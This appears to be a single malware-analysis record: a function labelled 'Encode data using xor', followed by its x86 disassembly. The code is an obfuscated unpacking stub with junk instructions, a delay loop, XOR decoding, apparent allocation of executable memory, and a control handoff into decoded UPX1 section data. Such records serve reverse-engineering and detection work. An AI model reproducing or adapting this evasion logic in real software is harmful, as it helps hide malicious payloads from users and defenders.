Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xf3f5e367
sub ebx, esi
add esi, 0xd076b468
dec esi
popal
or ebx, ebx
add ebx, 0x5f423e41
mov esi, 0
mov eax, edi
not edx
add ebx, edx
or edx, ebx
mov ecx, eax
sub edx, 0xf175f188
mov edx, ebx
mov edi, ecx
not ebx
mov edx, ebx
or edx, ebx
add esi, 1
sub ebx, edx
sub ebx, edx
or edx, edx
cmp esi, 0x100d59d
jne 0xa789c9
and ebx, ebx
inc ebx
mov esi, 0x29c10560
mov esi, ebx
and ebx, esi
mov eax, 0xa78796
and edx, edi
add edx, 0xea1ae6f1
mov esi, 0xa7898a
mov edi, 0x538d03e5
add edx, 0xbc26cf9d
mov ebx, dword [eax]
and edx, ecx
sub edx, edi
sub ecx, edx
and ebx, 0xff
dec edx
not edx
xor dword [esi], ebx
sub edx, ecx
dec edx
add esi, 1
mov edi, 0xef413034
mov edi, edx
inc eax
mov edx, ecx
and edx, edi
dec ecx
cmp esi, entry0
jl 0xa78a24
sub edi, ecx
add ecx, 0x4a7c2f18
sub edx, 1
or edx, edi
sub edx, 0x5ae6ef77
sub edi, edx
add edi, edi
mov ecx, 0xa7898e
mov esi, edx
mov esi, 0xc371f44e
mov ecx, dword [ecx]
mov edx, 0x994c73f6
add ebx, esi
mov ecx, dword [ecx]
not ebx
add edi, esi
or esi, esi
push ecx
mov esi, ebx
and ebx, edi
mov ecx, 0xa7898a
sub esi, ebx
add edi, edi
sub edx, 1
mov ecx, dword [ecx]
mov edi, esi
add edx, ebx
mov ecx, dword [ecx]
or edi, edx
or edi, edx
add esi, 1
push 0xa78992
not esi
not edx
not edi
call ecx
sub edi, esi
add esi, 0xfaab0408
mov ecx, dword [esp]
add esp, 4
mov ebx, edi
mov ebx, 0xf19ed1cd
sub esp, 4
mov dword [esp], 0xa7899f
mov ebx, edi
and edi, edi
add ebx, 0x7dc52b26
push eax
inc esi
sub esi, 0xe0e11242
call ecx
dec ebx
and esi, edi
inc ebx
push 0x40
add ebx, 1
mov edx, edi
mov edx, edi
sub esp, 4
mov dword [esp], 0x3000
not edx
inc esi
sub esp, 4
mov dword [esp], 0x20000c23
and edx, edi
inc edi
mov edi, 0x8d79f95b
push 0
mov ebx, 0x6603bab8
dec ebx
call eax
mov esi, 0x2af3c19a
or ebx, edx
add eax, 0x20000b7c
or edx, esi
not edx
sub edi, 1
mov ecx, 0x5c6ff252
or esi, edi
sub edx, ebx
mov dword [eax], ecx
and edi, edi
mov edx, ebx
not ebx
mov ecx, dword [eax]
or edi, edx
add edx, esi
add edx, 0xe84ff440
cmp ecx, 0x5c6ff252
je 0xa78b78
mov eax, 0
mov dword [eax], edx
or edx, ebx
sub edi, 0x1ba0bb24
sub esi, ebx
sub edi, 0x85e1003a
add edx, ebx
add edi, 0xf6a91226
mov esi, 0x5671b9b1
sub esi, ebx
or esi, esi
mov edi, section.UPX1
and esi, esi
dec esi
sub ebx, 0x1c5f62fb
mov eax, 0xa78795
mov ebx, 0xe668da2e
mov ebx, esi
mov edx, 0
sub esi, ebx
or esi, esi
not esi
mov ecx, 0xa78796
add ebx, 1
and ebx, esi
or ebx, ebx
lea ecx, [ecx + edx]
or esi, ebx
mov ebx, esi
mov ecx, dword [ecx]
add ebx, 0x71857a72
add esi, esi
and ecx, 0xff
sub esi, 0xea14af39
sub ebx, 0x6ae00862
add edx, 1
add ebx, esi
sub esi, ebx
sub esi, ebx
cmp edx, 0x1f4
jne 0xa78c09
mov edx, 0
inc ebx
add ebx, 1
or esi, esi
mov ebx, 0xba9ec29c
sub esi, ebx
xor dword [edi], ecx
dec ebx
and esi, ebx
add edi, 2
mov esi, ebx
sub ebx, esi
mov ebx, esi
cmp edi, eax
jl 0xa78bbe
add ebx, 0x303a4b9
or esi, esi
inc ebx
inc ebx
sub ebx, esi
mov edi, section.UPX1
mov ebx, eax
mov ebx, 0xc2e5ada6
add eax, eax
mov ecx, section.UPX1
not ebx
add eax, eax
sub eax, ebx
mov esi, 0xa78795
add eax, ebx
and ebx, ebx
add ebx, eax
mov edx, 0
mov eax, ebx
inc eax
or ebx, eax
mov dl, byte [ecx]
mov eax, 0x83377c4e
not ebx
mov eax, 0x5f5e23fe
mov byte [edi], dl
mov eax, ebx
mov eax, ebx
sub ebx, 1
inc edi
add eax, 0x2b7e1ee4
mov eax, 0x47735206
or eax, ebx
add ecx, 2
not eax
add eax, 0xe431f32d
cmp ecx, esi
jle 0xa78c6c
sub ebx, eax
sub eax, 0x37dd6c8e
add eax, 0x523c31d4
mov esi, ebx
add esi, 0x24b38f03
push 0x8dc6a0
or ebx, ebx
not ebx
mov ebx, esi
ret